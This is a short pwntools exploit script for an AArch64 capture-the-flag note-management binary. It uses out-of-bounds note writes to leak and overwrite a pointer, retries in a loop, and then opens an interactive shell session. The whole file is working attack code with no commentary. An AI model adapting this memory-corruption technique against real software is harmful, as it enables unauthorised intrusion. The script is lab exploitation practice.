#!/usr/bin/env python
from pwn import *
from time import sleep

context.binary = e = ELF("ctf")

gs = """
target remote:1234
"""


def start():
    argvs = ["./qemu-aarch64", "-L", "./aarch64-linux-gnu/"]
    if args.LOCAL:
        argvs.append(e.path)
        p = process(argvs)
    elif args.GDB:
        argvs.append("-g")
        argvs.append("1234")
        argvs.append(e.path)
        p = process(argvs)
        # gdb.attach(None, gdbscript=gs)
        # pause()
    elif args.REMOTE:  # python x.py REMOTE <host> <port>
        host_port = sys.argv[1:]
        p = remote(host_port[0], int(host_port[1]))
    return p


def create_note(size: int):
    p.sendlineafter(b'Give me your command:\n', b"C"+str(size).encode())


def read_note(idx: int):
    p.sendlineafter(b'Give me your command:\n',
                    b'R'+str(idx).encode())


def write_note(idx: int, offset: int, size: int, data: bytes):
    p.sendlineafter(b'Give me your command:\n',
                    b'W' + f"{idx} {offset} {size}".encode()+data)


for i in range(256+10):
    try:
        p = start()
        # create_note(0x30)
        in0 = p16(0x2a8)
        write_note(0, 0x000000000000060, len(in0), in0)
        read_note(0)
        p.recvuntil(b'Note at 0: ')
        in1 = p.recv(6)

    except EOFError:
        p.close()
        continue
    else:
        log.info(hex(u64(in1+b'\0'*2)))
        write_note(0, 0x10, len(in1), in1)
        write_note(0, 0xf0-8, 8, b'A'*8)
        read_note(0)
        break

p.interactive()
